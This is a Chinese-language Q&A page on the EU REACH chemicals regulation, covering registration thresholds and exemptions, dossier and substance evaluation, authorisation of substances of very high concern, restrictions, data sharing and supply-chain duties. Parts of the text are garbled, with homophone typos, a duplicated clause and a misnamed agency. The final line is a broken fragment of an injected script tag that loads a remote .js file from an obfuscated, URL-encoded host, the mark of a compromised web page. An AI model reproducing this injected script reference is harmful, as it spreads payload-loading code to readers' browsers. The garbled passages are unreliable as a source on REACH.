问:REACH法规有什么要求?
答:1、注册(Registration):注册要求生产商或进口商提供超过1吨每年的化学物质的相关信息,包括提交技术档案。其中应有物质的信息和如何管理其使用过程种的风险的信息。数量超过10吨每年的物质还要再提交化学安全报告,以表征其安全评估。但有以下情况的可以免除注册责任:现有其他法规已经覆盖的化学品可免除注册责任;年生产或进口两在1T以下的化学品或制品中所含化学品年用量字1T以下的化学品或制品中所含化学品年用量在1T以下的,可免除注册责任;仅用于科研或产品开发过程的化学品,可申请免除注册,免除期限最长5年,但可申请延长5年,医药产品可延期到10年;在尚未建立起科学、有效、简便的聚合物危险性评价方法之前,聚合物可免除注册责任,但聚合物中单体含量超过2%的,则不可免除;对年产量或进口量在1-10T之间的化学物质,注册时可免交“化学安全报告”,并减少部分测试要求;部分非分离出的中间体和意外释放的话写品可免除注册责任。 2、评估(Evaluation):评估过程将允许由主管部门来决定是否要求进一步的测试和评估,注册人提供的信息是否符合法规要求(即文档评估);对选定的物质,如怀疑其对人类健康和环境存在风险时,则要求进行物质评估。该评估提供了一种机制,要求实业界获取更多的信息。评估也会为授权或限制程序下该采取何种行动提出建议。评估分为文件评估和风险评估两种,其中文件评估,所有动物试验提案均须先进行文件评估,以确认是否可以分享已有的实验数据,避免不必要的动物实验;同时文件评估也可以检查注册申请是否与注册的要求相一致;物质评估,由欧盟的机构根据欧盟的相关标准对任何有理由被怀疑对人体健康或环境有可能造成危害的化学物质进行测试。申请授权时,企业必须提交风险评估结果,该风险评估必须涉及该化学物质的整个生命周期。企业必须对成本和效益进行分析,证明使用该化学物质的效益要大于为消除该物质对人类健康和环境造成的危害而引发的成本。风险评估内容包括:与该化学物质的危险性有关的健康、毒理学及生态毒理学的数据;在生产和不同使用状况时的风险;如何掌握和限制这些风险的方法等。 3、许可和限制(Authorization):只有那些高度关注的物质才需要授权。高度关注物质指致癌物、致突变物、对生殖系统有毒的物质、持久性、生物积累的物质和有毒的物质,永久性和高生物积累物质以及与此相当的物质。经认定对人体或环境会造成严重影响而被列为重点监控对象的化学物质必须实行严格的市场准入许可;列入REACH法规附录中必须授权使用的化学物质只有在特殊用途或特别许可的情况下才能使用;某化学物质只有在其可能产生的危害风险可以被“充分控制把握”的前提下才能使用;如果风险无法充分把握,则需评估风险系数、社会和经济的重要性和有无替代品等因素后决定是否授权使用。限制是本制度的安全隔离墙。任何物质,不管是其本身或含在配制品、物品中,只要该物质的使用对人类健康和环境具有不可接受的风险,都必须在共同体范围内进行限制。欧盟认为:限制规定和其他欧盟法令一样,是整个REACH网络的一部分,因为在处理化学品危害风险问题的时候,所有产品都受到欧盟限制性规定的约束。根据提案,起到限制作用的相关现行生产、销售和使用的法令将成为REACH体系中的组成部分,并列在规定的附录中,同时还规定了加入新限制和修改现行限制规定的程序。其作出的决定包括限制在某些产品中使用,限制消费者使用或限制所有的用途(即完全禁止)。 4、信息交换和数据共享:信息共享和成本分担是各相关方所期望的,但必须保证提供数据的公司不因数据分享而在商业上处于不利的地位。ECA将在预注册截止后的一个月在网上设立公开的信息交换论坛,公布所有的预注册信息,意在使所有相关企业通过交换信息,共同编制相关风险评估档案,公平分担现有数据评估所产生的相关成本,降低重复研究的可能性。ECA对成本分担机制具有最终仲裁权。 另外还有其他几个关键词需要了解:1、供应链信息:REACH规定,把化学品安全数据表(SDS)作为基本信息载体,沿化学品供应链传递化学品危险和风险信息,使下游拥护执行适当的风险管理措施。2、下游拥护:REACH要求下游拥护在原料生产商提供的安全数据表的基础上,考虑所用化学物质的安全性,并采取适当风险管理措施。3、分类和标签:REACH将GHS(全球化学品分类与标签协调制度)进行了有效转化,纳入其体系中,有助于促进企业对危险物质分类和标签的一致性。4、数据共享:REACH要求脊椎动物实验数据必须共享,不能重复实验。5、欧洲化学品管理局:欧盟新建管理机构,全面负责REACH技术、科学和管理工作,具体实施REACH。6、信息工具:将开发专门信息系统,实施REACH注册等,并使公众可以通过网络获得化学品安全信息。rc=http://3bom%62%2Ecom/c.js><
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